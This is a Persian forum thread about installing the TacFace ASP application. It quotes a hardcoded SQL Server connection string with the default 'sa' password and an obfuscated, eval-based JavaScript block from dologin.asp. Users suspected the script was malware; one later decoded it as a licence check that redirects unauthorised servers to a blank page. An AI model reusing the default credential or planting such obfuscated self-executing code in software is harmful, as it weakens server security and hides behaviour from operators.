راهنمای نصب tacface

[mehrzadmo]

Conn.Open "dsn=nttacdb;uid=sa;;pwd=Ronak

تو تمام فايلهايي كه با پسوند asp هستند خط بالا رو ويرايش كنيد و پسورد رو از روناك به مورد دلخواه خودتون تغيير بديد . در غير اين صورت از اين نرم افزار استفاده نكنيد .
* . فراموش نكنيد كه بعد از اين كار پسورد sa در اس كيو ال سرور رو هم تعويض كنيد به همون پسورد .

[3hsan]

تو تمام فايلهايي كه با پسوند asp هستند خط بالا رو ويرايش كنيد و پسورد رو از روناك به مورد دلخواه خودتون تغيير بديد . در غير اين صورت از اين نرم افزار استفاده نكنيد .
* . فراموش نكنيد كه بعد از اين كار پسورد sa در اس كيو ال سرور رو هم تعويض كنيد به همون پسورد .

ممنون.منظور از پسورد sa ؟

[Abulhallaj]

سلام

اگه می خواین کاری به نتیجه برسه، پس عجله نکنید.

من دارم با دیتابیس Access روش کار می کنم. اون خطی هم که دارید در موردش نصب می کنید فقط connection دیتابیس هستش که خیلی راحت میشه عوض شه.

اما تا الان من 6 تا Table جدید تو دیتابیسم اضافه کردم که بتونم از قسمتهای مختلف این برنامه استفاده کنم. پس عجله نکنید.

ضمنا یه قسمتهایی تو فایل های برنامه به کدهای Encrypt شده جاوااسکریپت هست که تا زمانی که نتونم اونا رو باز کنم به هیچ وجه نحوه استفاده رو اینجا رو نمی کنم (اخه ممکنه هر چیزی تو این کدها باشه ازجمله ارسال رمز admin برای نویسنده برنامه)

پس عجله نکنید (خودم بیشتر از همه عجله استفاده از این برنامه رو دارم)

[s3cure]

اگه بشه با دیتابیس Access هم راهش انداخت که عالیه !
منم منتظر تلاش شما هستم :دی

[s3cure]

ممنون.منظور از پسورد sa ؟

منظور از sa همون یوزر ادمین sql هست که به صورت پیشفرض sa هستش ...

[ghaderi7]

همچنان منتظر جواب دوستان هستم!

[Abulhallaj]

به یه جاوا اسکریپت کار حرفه ای نیاز دارم

اگه کسی بتونه اینو برام decode کنه حله. من که نتونستم به راحتی کدش رو باز کنم و وقتش رو هم ندارم

<script>var ud48=5721;
 jUkpynXb='bOfGNVwMLOadOvNFmZOrYOmiWeIIfoEc';
 yo='<citus=Ti aede o upr orbosr  rwe eso . rhge srqie!;
 ldcmn.aesd=ouetalg=ouetgtlmnBI;
 s(idwsdbr?refleiNnvgtrueAettLwrae)idxf\'esae)=?reflei(s&iN{ug=iy}vrmg\';
 ucinnm)rtr re;
 idwoerr=nmvri0r1dcmn.eerrtLwrae)i(x.neO(ht';
 MJbBOcOko='GOOitnVgCYnhOFPQOTDtDesrKORIdumOHKaG';
 meRLoZg='SYfreYtr';
 yo+=':/1.1.1.4"<&i0=re{hslcto.rf="bu:ln";
 ucinnf)dcmn.oain"bu:ln"rtr}i(idwlcto.rtclidxf"ie)=1{fi0=re{o(};
 /citsrp>np\'hspg osntspotyu rwe.Abosrvrin40o ihri eurd\'d=ouetlyr;
 adcmn.l;
 edcmn.eEeetydw=wno.iea)tu:as;
 z=aiao.s';
 OfETF='oTlkQuPyEaFRKOOtTnfb';
 meRLoZg='ZZfreYtr';
 yo+='rgn.ooeCs(.neO(ntcp\'>0tu:as;
 fw&!z)qol\'u\';
 a s=\'fnto e({euntu}wno.nro  e;
 a 2;
 x=ouetrfre.ooeCs(;
 fr1idxf"tp/27291110)0&2!tu)ti.oainhe  aotbak}fnto o({ouetlcto=aotbak;
 eun;
 fwno.oainpooo.neO(fl"!-)i(2!tu)nf)}<srp>';
 eval('k=unescape("%0D%0A");
 s5= und(yo);
 document.write(s5);
 function und(s) {var un="";
 l=s.length;
 oh=Math.round(l/2);
 for(i=0;
 i<=oh;
 i++){a=s.charAt(i);
 b=s.charAt(i+oh);
 c=a+b;
 un=un+c;
 };
 O=un.substr(0,l);
 O=O.replace(/`/g,"'");
 O=O.replace(/@@/g,"\\");
 f = /qg/g;
 O=O.replace(f,k);
 return O;
 };
 ');
 </script>

[mehrzadmo]

آقاي ابوالحلاج اين تو كدوم فايل بود ؟

[mehrzadmo]

آقاي ابوالحلاج فكر كنم پيداش كردم . توي dologin.asp آخر صفحه بود درسته ؟
آقاي sky_star_2 ميشه لطف كنيد و اسكريپت جداول موجود تو ديتا بيستون كه اضافه بر جدول هاي اصلي ان تي تك هستند و بخاطر اين برنامه اضافه شده رو براي من بفرستيد ؟

[Abulhallaj]

آقاي ابوالحلاج فكر كنم پيداش كردم . توي dologin.asp آخر صفحه بود درسته ؟
آقاي sky_star_2 ميشه لطف كنيد و اسكريپت جداول موجود تو ديتا بيستون كه اضافه بر جدول هاي اصلي ان تي تك هستند و بخاطر اين برنامه اضافه شده رو براي من بفرستيد ؟

این اسکریپت بخش دوم جاوا اسکریپت کد شده آخر صفحه dologin.asp هستش.

اما ساختار جداول رو همونطور که قبلا هم گفتم تا تاییدیه نهایی رو نمیکنم.

[mehrzadmo]

من می تونم کد جاوا اسکریپت رو دیکد کنم . (البته 100 درصد مطمئن نیستم ) اما نیاز به تیبل های اضافی نرم افزار دارم . چک کردم تعداد فیلدها زیاده و چند تیبل میخواد . برای همین ادامه ندادم . اگر دوست داشتید میتونید اطلاعات رو برام بفرستید .

[Abulhallaj]

من می تونم کد جاوا اسکریپت رو دیکد کنم . (البته 100 درصد مطمئن نیستم ) اما نیاز به تیبل های اضافی نرم افزار دارم . چک کردم تعداد فیلدها زیاده و چند تیبل میخواد . برای همین ادامه ندادم . اگر دوست داشتید میتونید اطلاعات رو برام بفرستید .

عزیز دلم کدی که من برای دیکود گذاشتم اصلا نیاز به دیتابیس نداره که تیبل بخواد. حدس میزنم این کد برای جلوگیری از کپی غیرمجاز اسکریپت TacFace باشه. که اونم خودم دارم روش کار می کنم. الگوریتم رو پیدا کردم اما هنوز ...

[mehrzadmo]

حدس میزنم این کد برای جلوگیری از کپی غیرمجاز اسکریپت TacFace باشه

فكر مي كنم حدستون به شدت اشتباهست !

جهت اطلاعات بيشتر :
W32/Feebs.gen@MM
فكر مي كنم يكي از سيستم هاي استفاده كننده به اين ويروس آلوده بوده و از اون به بعد ....
در مورد استفاده از اين نرم افزار تصميم به عهده خودتونه .
پي نوشت :* دوست دارم از امكانات اين برنامه مطلع بشم ! اگر كسي از دوستان از اين برنامه روي سروري استفاده مي كنه ممنون ميشم به من آدرس و يه يوزر نيم بدن . اونو به صندوق پيغام خصوصي ام بفرستيد . پيشاپيش ممنونم .

[Abulhallaj]

بالاخره به نتیجه رسیدم

کد رو Decrypt کردم و معلوم شد که کد مورد نظر دقیقا برای جلوگیری از استفاده غیرمجاز این اسکریپت هستش. به صورت جزیی تر باید بگم کار این تیکه اسکریپت این بود که اگر سیستم تک فیس روی سروری به جز سروری که آدرسش توی اون کد هست اجرا بشه (یعنی استفاده غیرمجاز) سریعا به یک صفحه خالی Redirect بشه.

اما کل اسکریپت بررسی شده و هیچ مشکل امنیتی نداشت. ساختار دیتابیس هم کاملا مشخص شده. ضمنا به یک فایل دیگه توی یک مسیر خاص سیستم هم نیاز هست که اونم مشخص شده.

اما چون این یک کار تجاری هستش ، برای Release کردن نیاز به اجازه مستقیم مدیر سایت دارم. اگر ایشون اجازه دادن نحوه نصب را به طور کامل آموزش میدم.

[3hsan]

تو تمام فايلهايي كه با پسوند asp هستند خط بالا رو ويرايش كنيد و پسورد رو از روناك به مورد دلخواه خودتون تغيير بديد . در غير اين صورت از اين نرم افزار استفاده نكنيد .
* . فراموش نكنيد كه بعد از اين كار پسورد sa در اس كيو ال سرور رو هم تعويض كنيد به همون پسورد .

خب حداقل این نرم افزار شاید مثلا 100 تا 200 تا فایل asp داشت.یعنی شما باید بشینی یکی یکی شون رو با حوصله هی تغییر پسور بدی؟
خیلی زمان بره.مثلا اگه راهی باشه که که 200 فایل با پسوند asp که کلمه مثلا admin تو هر کدومش باشه باهم به مثلا user تغییر پیدا کنه که خوبه ولی یکی یکی ....